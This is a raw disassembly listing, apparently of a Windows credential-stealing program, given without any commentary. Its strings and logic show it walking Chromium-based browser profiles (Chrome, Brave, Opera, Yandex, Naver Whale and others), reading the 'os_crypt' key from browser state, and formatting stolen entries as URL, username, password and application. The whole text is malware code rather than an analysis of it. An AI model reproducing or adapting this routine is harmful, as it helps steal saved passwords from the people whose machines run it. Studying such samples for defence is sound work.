call fcn.14003165e
mov r13, qword [rsp + 0xd0]
mov rsi, qword [rsp + 0xd8]
mov rax, qword [rsp + 0xe0]
lea rcx, [rax + rax*8]
lea rbp, [rsi + rcx*8]
mov rdi, rsi
test rax, rax
je 0x140046ce1
lea rdi, [rsi + 0x48]
mov rax, qword [rdi - 0x48]
movups xmm0, xmmword [rdi - 0x10]
movaps xmmword [rsp + 0x210], xmm0
movups xmm0, xmmword [rdi - 0x20]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rdi - 0x30]
movaps xmmword [rsp + 0x1f0], xmm0
movdqu xmm0, xmmword [rdi - 0x40]
movdqa xmmword [rsp + 0x1e0], xmm0
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140046ce1
mov qword [rsp + 0xd0], rax
movdqa xmm0, xmmword [rsp + 0x1e0]
movaps xmm1, xmmword [rsp + 0x1f0]
movaps xmm2, xmmword [rsp + 0x200]
movaps xmm3, xmmword [rsp + 0x210]
lea rax, [rsp + 0xe0]
movups xmmword [rax + 0x28], xmm3
movups xmmword [rax + 0x18], xmm2
movups xmmword [rax + 8], xmm1
movdqu xmmword [rax - 8], xmm0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x40], rax
lea rcx, [0x140030f70]
mov qword [rsp + 0x48], rcx
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
lea rax, [rsp + 0x100]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
lea rax, str.URL:__r_nUsername:__r_nPassword:__r_nApplication:__r_n_r_n
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], 5
mov qword [rsp + 0x2d0], 0
mov qword [rsp + 0x2c0], r12
mov qword [rsp + 0x2c8], 4
lea rcx, [rsp + 0x390]
lea rdx, [rsp + 0x2b0]
call fcn.140061c40
mov r14, qword [rsp + 0x398]
mov r8, qword [rsp + 0x3a0]
add r8, r14
mov r12, qword [rsp + 0x390]
lea rcx, [rsp + 0x268]
mov rdx, r14
call fcn.140194491
test r12, r12
je 0x140046cb8
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r14
call qword [0x14033d4d0]
lea r14, [rdi - 0x48]
lea rcx, [rsp + 0xd0]
call fcn.14002069a
add rdi, 0x48
add r14, 0x48
cmp r14, rbp
lea r12, [rsp + 0x40]
jne 0x140046b4c
jmp 0x140046d11
mov rax, rbp
sub rax, rdi
movabs rcx, 0xe38e38e38e38e38f
mul rcx
cmp rbp, rdi
je 0x140046d11
mov r14, rdx
shr r14, 6
mov rcx, rdi
call fcn.14002069a
add rdi, 0x48
dec r14
jne 0x140046d00
test r13, r13
mov rbp, qword [rsp + 0x1d0]
je 0x140046d30
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov dword [rsp + 0xd0], 0
lea rax, [rsp + 0xe0]
movups xmmword [rax - 8], xmm6
mov dword [rsp + 0xe8], 7
mov word [rax + 0x14], 0
mov qword [rax + 0xc], 0
mov word [rsp + 0xf1], 0x101
mov rcx, rbx
mov rdx, r15
lea r15, [rsp + 0xd0]
mov r8, r15
call fcn.1401a3990
mov rdi, rax
mov rsi, rdx
cmp qword [rsp + 0x38], 0
lea r13, [0x140030f70]
je 0x140046da7
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rbx
call qword [0x14033d4d0]
test rdi, rdi
jne 0x14004980b
mov rdi, qword [rsp + 0x270]
mov r9, qword [rsp + 0x278]
mov rcx, r12
mov rdx, rsi
mov r8, rdi
call fcn.14019c3f0
cmp qword [rsp + 0x40], 0
jne 0x14004981f
mov rcx, rsi
call qword [0x14033d488]
cmp qword [rsp + 0x268], 0
je 0x140046e00
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
cmp qword [rsp + 0x330], 0
je 0x140046e22
mov r8, qword [rsp + 0x338]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov rsi, qword [rsp + 0x408]
mov rdi, qword [rsp + 0x410]
mov rax, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x58]
sub rax, rdx
cmp rax, rdi
jb 0x1400479a6
lea rcx, [rdx + rdx*8]
shl rcx, 3
add rcx, qword [rbp + 0x50]
lea rax, [rdi*8]
lea r8, [rax + rax*8]
mov rdx, rsi
call fcn.140330ef0
add qword [rbp + 0x58], rdi
mov qword [rsp + 0x410], 0
mov rcx, r12
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1400629e0
mov rcx, r15
mov rdx, rbp
mov r8, r12
call fcn.140040919
mov al, byte [rsp + 0xd0]
cmp al, 0x1a
jne 0x140047ea7
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x358], rax
mov r14, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xe8]
imul rcx, rax, 0x70
add rcx, r14
mov qword [rsp + 0x1c0], rcx
mov qword [rsp + 0x280], rcx
lea rcx, [rsp + 0x450]
mov qword [rsp + 0x288], rcx
mov rcx, r14
mov r12, r14
mov rbp, r14
test rax, rax
mov qword [rsp + 0x1b0], r14
je 0x14004720b
lea r12, [r14 + 0x70]
mov rbp, r14
mov rax, qword [r12 - 0x70]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140047203
lea rbx, [r12 - 0x70]
lea rsi, [rbx + 8]
mov ecx, 0xd
lea rdi, [rsp + 0xe8]
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0xd0], r14
mov qword [rsp + 0xd8], rbp
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0x120], 0
je 0x14004712f
cmp qword [rsp + 0xf0], 0
je 0x14004712f
mov qword [rsp + 0x38], rbp
mov ecx, 0xe
lea rdi, [rsp + 0x2b0]
lea rsi, [rsp + 0xe0]
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rsp + 0x2b8]
mov r8, qword [rsp + 0x2c0]
lea r15, [rsp + 0x40]
mov rcx, r15
call fcn.1400629e0
mov rdx, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2d8]
lea rcx, [rsp + 0x58]
call fcn.1400629e0
mov rsi, qword [rsp + 0x2e8]
mov rdi, qword [rsp + 0x2f0]
mov rcx, rdi
call fcn.1401e779c
mov r14, rax
mov r13, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, rdi
call fcn.140330ef0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
mov qword [rsp + 0x80], rdi
mov rdx, qword [rsp + 0x300]
mov r8, qword [rsp + 0x308]
lea rcx, [rsp + 0x88]
call fcn.1400629e0
movdqu xmm0, xmmword [rsp + 0x310]
movdqu xmmword [rsp + 0xa0], xmm0
lea rbp, [rsp + 0x1e0]
mov rcx, rbp
mov rdx, r15
xor r8d, r8d
call fcn.140049b81
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x1e0], rax
jne 0x140047141
mov rdx, qword [rsp + 0x2b8]
mov r8, qword [rsp + 0x2c0]
mov rcx, r15
call fcn.1400629e0
mov rdx, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2d8]
lea rcx, [rsp + 0x58]
call fcn.1400629e0
mov rsi, qword [rsp + 0x2e8]
mov rdi, qword [rsp + 0x2f0]
mov rcx, rdi
call fcn.1401e779c
mov r14, rax
mov r13, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, rdi
call fcn.140330ef0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r13
mov qword [rsp + 0x80], rdi
mov rdx, qword [rsp + 0x300]
mov r8, qword [rsp + 0x308]
lea rcx, [rsp + 0x88]
call fcn.1400629e0
movdqu xmm0, xmmword [rsp + 0x310]
movdqu xmmword [rsp + 0xa0], xmm0
mov r8, qword [rsp + 0x458]
mov r9, qword [rsp + 0x460]
lea rcx, [rsp + 0x390]
mov rdx, r15
call fcn.140049b81
mov rcx, rbp
call fcn.14001c955
jmp 0x140047154
lea rcx, [rsp + 0xe0]
call fcn.14001efef
jmp 0x1400471e5
mov ecx, 0xe
lea rdi, [rsp + 0x390]
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
lea rcx, [rsp + 0x2b0]
call fcn.14001efef
mov rax, qword [rsp + 0x390]
mov ecx, 0xd
mov rdi, rbp
lea rsi, [rsp + 0x398]
rep movsq qword [rdi], qword [rsi]
movabs rcx, 0x8000000000000000
cmp rax, rcx
lea r13, [0x140030f70]
lea r15, [rsp + 0xd0]
mov r14, qword [rsp + 0x1b0]
jne 0x1400471b6
lea rcx, [rsp + 0x390]
call fcn.14001c955
mov rbp, qword [rsp + 0x38]
jmp 0x1400471e5
mov ecx, 0xd
lea rdx, [rsp + 0x40]
mov rdi, rdx
mov rsi, rbp
rep movsq qword [rdi], qword [rsi]
mov rbp, qword [rsp + 0x38]
mov qword [rbp], rax
lea rdi, [rbp + 8]
mov ecx, 0xd
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
add rbp, 0x70
add r12, 0x70
add rbx, 0x70
cmp rbx, qword [rsp + 0x1c0]
jne 0x140046f10
mov r12, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x280]
mov rax, rcx
sub rax, r12
shr rax, 4
movabs rdx, 0x2492492492492493
mul rdx
mov qword [rsp + 0x278], 0
mov eax, 8
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x280], rax
cmp rcx, r12
je 0x140047264
mov rsi, rdx
mov rcx, r12
call fcn.14001efef
add r12, 0x70
dec rsi
jne 0x140047253
mov rax, rbp
sub rax, r14
shr rax, 4
movabs rcx, 0x2492492492492493
mul rcx
mov rsi, rdx
imul rax, qword [rsp + 0x358], 0x70
shr rax, 4
mul rcx
mov qword [rsp + 0x330], rdx
mov qword [rsp + 0x338], r14
mov qword [rsp + 0x340], rsi
lea rcx, [rsp + 0x268]
call fcn.14001b0a5
sub rbp, r14
mov qword [rsp + 0x38], rbp
mov rbp, qword [rsp + 0x1d0]
lea r12, [rsp + 0x40]
je 0x1400477fa
xor edi, edi
mov qword [rsp + 0x268], rdi
mov qword [rsp + 0x270], 1
mov qword [rsp + 0x278], rdi
mov rcx, rsi
call fcn.140073266
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], rdx
mov qword [rsp + 0x2c0], rdi
mov edi, 0
cmp rax, rsi
jb 0x1400479bf
lea rax, [rdi + rdi*2]
lea rbx, [rdx + rax*8]
add r14, 0x48
add rdi, rsi
mov r12, rsi
mov rax, qword [r14 + 0x20]
test rax, rax
je 0x140047351
cmp rax, 1
jne 0x140047367
lea rax, [0x140343cad]
mov qword [rsp + 0x390], rax
mov eax, 4
jmp 0x14004737b
lea rax, str.FALSETRUEUNKNOWNChromiumBrave_BrowserBraveSoftwareChrome_SxSGoogleChromeOpera_StableOpera_SoftwareYandexBrowserYandexNaver_WhaleNaverUlaaZoho
mov qword [rsp + 0x390], rax
mov eax, 5
jmp 0x14004737b
lea rax, [0x140343cb1]
mov qword [rsp + 0x390], rax
mov eax, 7
mov qword [rsp + 0x398], rax
cmp qword [r14 - 0x38], 0
je 0x140047396
mov rax, qword [r14 - 0x40]
cmp byte [rax], 0x2e
sete al
jmp 0x140047398
xor eax, eax
lea rcx, [r14 - 0x48]
xor al, 1
mov byte [rsp + 0x428], al
lea rax, [r14 + 0x18]
lea rdx, [r14 - 0x30]
lea r8, [r14 - 0x18]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], r13
lea rcx, [rsp + 0x428]
mov qword [rsp + 0xe0], rcx
lea rcx, [0x14009af10]
mov qword [rsp + 0xe8], rcx
mov qword [rsp + 0xf0], r14
mov qword [rsp + 0xf8], r13
lea rcx, [rsp + 0x390]
mov qword [rsp + 0x100], rcx
lea rcx, [0x140066290]
mov qword [rsp + 0x108], rcx
mov qword [rsp + 0x110], rax
lea rax, [fcn.14009fde0]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x120], rdx
mov qword [rsp + 0x128], r13
mov qword [rsp + 0x130], r8
mov qword [rsp + 0x138], r13
lea rax, [0x140343c38]
mov qword [rsp + 0x40], rax
mov eax, 7
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x40]
call fcn.140061c40
mov rax, qword [rsp + 0x1f0]
mov qword [rbx + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x1e0]
movdqu xmmword [rbx], xmm0
add rbx, 0x18
add r14, 0x70
dec r12
jne 0x14004732c
mov rbx, qword [rsp + 0x2b0]
mov r14, qword [rsp + 0x2b8]
mov rcx, r15
mov rdx, r14
mov r8, rdi
mov r9b, 0xa
call fcn.140065ecb
mov r12, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
add r8, r12
lea rcx, [rsp + 0x268]
mov rdx, r12
call fcn.140194491
cmp qword [rsp + 0xd0], 0
je 0x14004750c
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r12
call qword [0x14033d4d0]
mov rcx, r14
mov rdx, rdi
call fcn.14006da82
test rbx, rbx
je 0x14004752e
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r14
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x1c8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x390]
call fcn.1400629e0
mov rdx, qword [rsp + 0x398]
mov r8, qword [rsp + 0x3a0]
lea rcx, [rsp + 0x2b0]
call fcn.1400629e0
lea rcx, [rsp + 0x1e0]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1400629e0
mov rdi, qword [rsp + 0x1e8]
mov r14, qword [rsp + 0x1f0]
mov qword [rsp + 0x20], 1
mov rcx, r15
mov rdx, rdi
mov r8, r14
lea r9, [0x1403b68f8]
call fcn.14009c3a0
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x140], r14
mov word [rsp + 0x148], 1
xor r12d, r12d
mov r14, qword [rsp + 0x118]
lea rcx, [rsp + 0x40]
mov rdx, r15
call fcn.1400335f6
cmp qword [rsp + 0x40], 0
je 0x14004761d
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x138]
add r14, rcx
sub rbx, rcx
mov qword [rsp + 0x138], rax
cmp byte [rsp + 0x149], 0
mov r12, r14
je 0x1400475d1
jmp 0x140047670
cmp byte [rsp + 0x149], 0
je 0x140047631
test r12, r12
jne 0x140047673
jmp 0x1400498fc
cmp byte [rsp + 0x148], 0
je 0x14004764d
mov r14, qword [rsp + 0x138]
mov rax, qword [rsp + 0x140]
jmp 0x140047662
mov r14, qword [rsp + 0x138]
mov rax, qword [rsp + 0x140]
cmp rax, r14
je 0x140047627
sub rax, r14
add r14, qword [rsp + 0x118]
mov rbx, rax
mov r12, r14
mov qword [rsp + 0x428], r12
mov qword [rsp + 0x430], rbx
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], r13
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], r13
mov qword [rsp + 0xf0], rbp
mov qword [rsp + 0xf8], r13
lea rax, [rsp + 0x428]
mov qword [rsp + 0x100], rax
lea rax, [0x140066290]
mov qword [rsp + 0x108], rax
lea rax, [0x1403437a8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 5
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 4
lea rcx, [rsp + 0x520]
lea r12, [rsp + 0x40]
mov rdx, r12
call fcn.140061c40
cmp qword [rsp + 0x1e0], 0
mov r14, qword [rsp + 0x1b0]
je 0x140047748
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
cmp qword [rsp + 0x2b0], 0
je 0x14004776a
mov r8, qword [rsp + 0x2b8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea rcx, [rsp + 0x520]
call fcn.140019aab
mov rdi, rdx
test rax, rax
jne 0x14004983b
mov r8, qword [rsp + 0x270]
mov r9, qword [rsp + 0x278]
mov rcx, r15
mov rdx, rdi
call fcn.14019c3f0
cmp qword [rsp + 0xd0], 0
jne 0x140049852
mov rcx, rdi
call qword [0x14033d488]
cmp qword [rsp + 0x390], 0
je 0x1400477d8
mov r8, qword [rsp + 0x398]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
cmp qword [rsp + 0x268], 0
je 0x1400477fa
mov r8, qword [rsp + 0x270]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov rax, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x70]
sub rax, rdx
cmp rax, rsi
jb 0x140047923
mov rdi, qword [rsp + 0x328]
imul rcx, rdx, 0x70
add rcx, qword [rbp + 0x68]
mov rdx, r14
mov r8, qword [rsp + 0x38]
call fcn.140330ef0
add qword [rbp + 0x70], rsi
mov qword [rsp + 0x340], 0
mov rcx, r15
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1400629e0
cmp qword [rsp + 0xd0], 0
je 0x140047872
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea rax, [rsp + 0x450]
mov qword [rsp + 0xf0], rax
xor esi, esi
mov qword [rsp + 0xe0], rsi
mov eax, 8
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rax
mov rcx, r15
call fcn.14001b04f
mov qword [rsp + 0x50], rsi
mov rcx, r12
call fcn.14002184a
lea rcx, [rsp + 0x330]
call fcn.1400215b6
lea rcx, [rsp + 0x438]
call fcn.1400213a0
lea rcx, [rsp + 0x400]
call fcn.140021631
test rdi, rdi
je 0x140047908
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, qword [rsp + 0x30]
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x298]
cmp rax, qword [rsp + 0x2a8]
jne 0x1400456c2
jmp 0x140047cab
mov rcx, qword [rsp + 0x418]
mov r8, rsi
call fcn.140331ee6
mov rdx, qword [rbp + 0x70]
jmp 0x14004780e
lea rcx, [rsp + 0x2b0]
xor edx, edx
mov r8, rdi
call fcn.140333f3c
mov rdx, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x2c0]
jmp 0x140045d7d
lea rcx, [rsp + 0x2b0]
xor edx, edx
mov r8, rdi
call fcn.140333f3c
mov rdx, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x2c0]
jmp 0x14004639c
mov rcx, qword [rsp + 0x468]
mov r8, rdi
call fcn.140331e19
mov rdx, qword [rbp + 0xa0]
jmp 0x14004631f
mov rcx, qword [rsp + 0x478]
mov r8, rdi
call fcn.140333f6c
mov rdx, qword [rbp + 0x58]
jmp 0x140046e46
lea rcx, [rsp + 0x2b0]
xor edx, edx
mov r8, rsi
call fcn.140333f3c
mov rdx, qword [rsp + 0x2b8]
mov rdi, qword [rsp + 0x2c0]
jmp 0x14004731a
mov rcx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x40]
mov qword [rsp + 0xe8], rcx
mov qword [rsp + 0xf0], rax
xor edx, edx
mov qword [rsp + 0xf8], rdx
mov qword [rsp + 0xd0], rdx
mov qword [rsp + 0xd8], 1
mov qword [rsp + 0xe0], rdx
mov byte [rsp + 0x100], 0x80
test rax, rax
je 0x140047a6e
lea rdi, [rsp + 0xe8]
xor edx, edx
movabs r15, 0x100002600
movzx r8d, byte [rcx + rdx]
cmp r8, 0x20
ja 0x140047afe
bt r15, r8
jae 0x140047afe
inc rdx
cmp rax, rdx
jne 0x140047a45
mov qword [rsp + 0xf8], rax
lea rdx, [rsp + 0x390]
mov qword [rdx], 5
lea rcx, [rsp + 0xd0]
call fcn.1403382b8
mov rdi, rax
xor eax, eax
jmp 0x14004809a
movups xmm0, xmmword [rsp + 0xd1]
movups xmm1, xmmword [rsp + 0xe0]
movups xmm2, xmmword [rsp + 0xf0]
movups xmm3, xmmword [rsp + 0x100]
movups xmmword [rsp + 0x4f], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov rcx, qword [rsp + 0x320]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmm0, xmmword [rsp + 0x4f]
movups xmmword [rcx + 0x10], xmm0
movdqa xmm0, xmmword [rsp + 0x40]
movdqu xmmword [rcx + 1], xmm0
mov byte [rcx], al
test rbx, rbx
je 0x140049412
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
jmp 0x140047d12
mov qword [rsp + 0xf8], rdx
cmp r8d, 0x5b
je 0x140047d1d
cmp r8d, 0x7b
jne 0x14004949a
lea rbx, [rsp + 0xd0]
mov byte [rbx + 0x30], 0x7f
inc rdx
mov qword [rbx + 0x28], rdx
xor r12d, r12d
lea r14, [rsp + 0x390]
movabs r13, 0x74707972635f736f
xor edx, edx
mov rcx, qword [rsp + 0xf0]
mov rax, qword [rsp + 0xf8]
cmp rax, rcx
jae 0x140047dd0
mov r8, qword [rsp + 0xe8]
movzx r9d, byte [r8 + rax]
cmp r9, 0x20
ja 0x140047b83
bt r15, r9
jae 0x140047b83
inc rax
cmp rcx, rax
jne 0x140047b65
jmp 0x140047dc8
mov qword [rsp + 0xf8], rax
cmp r9d, 0x2c
je 0x140047ba5
cmp r9d, 0x7d
je 0x1400494f6
test dl, 1
je 0x140047be8
jmp 0x14004954c
test dl, 1
je 0x140049538
inc rax
mov qword [rsp + 0xf8], rax
cmp rax, rcx
jae 0x140047ff9
movzx r9d, byte [r8 + rax]
cmp r9, 0x20
ja 0x140047be0
bt r15, r9
jae 0x140047be0
inc rax
cmp rcx, rax
jne 0x140047bc2
jmp 0x140047ff1
mov qword [rsp + 0xf8], rax
cmp r9b, 0x22
jne 0x14004951b
inc rax
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0xe0], 0
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.1401956a8
cmp dword [rsp + 0x390], 2
mov rax, qword [rsp + 0x398]
je 0x140048015
cmp qword [rsp + 0x3a0], 8
jne 0x140047c3d
cmp qword [rax], r13
je 0x140047c66
mov rcx, rbx
call fcn.140197795
test rax, rax
jne 0x140049510
mov rcx, rbx
call fcn.140163922
mov dl, 1
test rax, rax
je 0x140047b44
jmp 0x140049510
test r12, r12
jne 0x140049687
mov rcx, rbx
call fcn.140197795
test rax, rax
jne 0x1400495eb
mov rcx, r14
mov rdx, rbx
call fcn.140033a26
mov r12, qword [rsp + 0x390]
test r12, r12
je 0x1400495f0
mov rsi, qword [rsp + 0x398]
mov dl, 1
jmp 0x140047b44
lea rcx, [rsp + 0x290]
call fcn.140020f82
mov rax, qword [rsp + 0x320]
mov byte [rax], 0x1a
lea rcx, [rsp + 0x360]
call fcn.14001b481
cmp qword [rsp + 0x450], 0
je 0x140047cf2
mov r8, qword [rsp + 0x458]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
cmp qword [rsp + 0x350], 0
mov r8, qword [rsp + 0x1b8]
je 0x140049412
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
jmp 0x140049412
mov byte [rsp + 0x100], 0x7f
inc rdx
mov qword [rsp + 0xf8], rdx
cmp rdx, rax
jae 0x140047d61
mov r8, qword [rsp + 0xf8]
movzx r9d, byte [rcx + rdx]
cmp r9, 0x20
ja 0x140047d85
bt r15, r9
jae 0x140047d85
inc rdx
mov r8, rdx
cmp rax, rdx
jne 0x140047d3d
mov qword [rsp + 0xf8], rdx
lea rdx, [rsp + 0x390]
mov qword [rdx], 2
lea rcx, [rsp + 0xd0]
call fcn.1403382b8
mov rsi, rax
jmp 0x140047f95
mov qword [rsp + 0xf8], r8
cmp r9b, 0x5d
je 0x1400494d7
lea rsi, [rsp + 0x390]
lea rdx, [rsp + 0xd0]
mov rcx, rsi
call fcn.140033a26
mov rdi, qword [rsi]
test rdi, rdi
je 0x140047f8d
mov rsi, qword [rsp + 0x398]
jmp 0x140047f97
mov qword [rsp + 0xf8], rcx
lea rdx, [rsp + 0x390]
mov qword [rdx], 3
jmp 0x140048008
mov ecx, dword [rsp + 0xd1]
mov edx, dword [rsp + 0xd4]
mov r8, qword [rsp + 0x320]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movdqu xmm0, xmmword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe8]
movups xmm1, xmmword [rsp + 0xf0]
movups xmmword [r8 + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x100]
movups xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movdqu xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
mov rdi, qword [rsp + 0x1b8]
mov rbx, qword [rsp + 0x350]
jmp 0x140047f2f
mov ecx, dword [rsp + 0xd1]
mov edx, dword [rsp + 0xd4]
mov r8, qword [rsp + 0x320]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movdqu xmm0, xmmword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe8]
movups xmm1, xmmword [rsp + 0xf0]
movups xmmword [r8 + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x100]
movups xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movdqu xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
jmp 0x140047f0a
mov ecx, dword [rsp + 0xd1]
mov edx, dword [rsp + 0xd4]
mov r8, qword [rsp + 0x320]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movdqu xmm0, xmmword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe8]
movups xmm1, xmmword [rsp + 0xf0]
movups xmmword [r8 + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x100]
movups xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movdqu xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
lea rcx, [rsp + 0x438]
call fcn.1400213a0
lea rcx, [rsp + 0x400]
call fcn.140021631
mov rdi, qword [rsp + 0x1b8]
mov rbx, qword [rsp + 0x350]
mov r14, qword [rsp + 0x328]
test r14, r14
je 0x140047f48
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, qword [rsp + 0x30]
call qword [0x14033d4d0]
lea rcx, [rsp + 0x290]
call fcn.140020f82
lea rcx, [rsp + 0x360]
call fcn.14001b481
cmp qword [rsp + 0x450], 0
je 0x140047ae4
mov r8, qword [rsp + 0x458]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
jmp 0x140047ae4
mov rsi, qword [rsp + 0x398]
xor edi, edi
lea rcx, [rsp + 0xd0]
inc byte [rcx + 0x30]
call fcn.140197806
mov qword [rsp + 0x390], rdi
mov qword [rsp + 0x398], rsi
mov qword [rsp + 0x3a0], rax
test rdi, rdi
je 0x140047fd7
xor r14d, r14d
test rax, rax
cmovne rsi, rax
cmove r14, rdi
jmp 0x140048072
test rax, rax
je 0x140047fe9
lea rcx, [rsp + 0x3a0]
call fcn.1401c31c5
xor r14d, r14d
jmp 0x140048072
mov qword [rsp + 0xf8], rcx
lea rdx, [rsp + 0x390]
mov qword [rdx], 5
lea rcx, [rsp + 0xd0]
call fcn.1403382b8
xor r12d, r12d
mov rsi, rax
lea rcx, [rsp + 0xd0]
inc byte [rcx + 0x30]
call fcn.1401978d4
mov qword [rsp + 0x390], r12
mov qword [rsp + 0x398], rsi
mov qword [rsp + 0x3a0], rax
test r12, r12
je 0x140048058
xor r14d, r14d
test rax, rax
cmovne rsi, rax
cmove r14, r12
jmp 0x14004806d
test rax, rax
je 0x14004806a
lea rcx, [rsp + 0x3a0]
call fcn.1401c31c5
xor r14d, r14d
lea r12, [rsp + 0x40]
test r14, r14
je 0x1400494b9
lea rbx, [rsp + 0xd0]
mov rcx, rbx
call fcn.140197141
mov rdi, rax
mov rax, qword [rbx]
test rdi, rdi
je 0x140049457
test rax, rax
je 0x1400480b6
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov eax, dword [rsp + 0x360]
mov ecx, dword [rsp + 0x363]
mov dword [rsp + 0x2b1], eax
mov dword [rsp + 0x2b4], ecx
movdqu xmm0, xmmword [rsp + 0x1e0]
movups xmm1, xmmword [rsp + 0x1f0]
movdqu xmmword [rsp + 0x2c8], xmm0
movups xmmword [rsp + 0x2d8], xmm1
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x2e8], rax
mov byte [rsp + 0x2b0], 0x18
mov qword [rsp + 0x2b8], rdi
mov qword [rsp + 0x2c0], rdi
lea rcx, [rsp + 0x40]
call fcn.140021058
lea rcx, [rsp + 0x2b0]
call fcn.14002066e
lea rbx, [rsp + 0xd0]
mov rcx, rbx
call fcn.140066042
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
lea r8, [rdx + rdx*2]
lea r8, [rax + r8*8]
mov qword [rsp + 0x390], rax
mov qword [rsp + 0x398], rax
mov qword [rsp + 0x3a0], rcx
mov qword [rsp + 0x3a8], r8
test rdx, rdx
je 0x14004929d
lea rcx, [rbp + 0x90]
mov qword [rsp + 0x468], rcx
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x1b8], rcx
lea rcx, [rbp + 0x60]
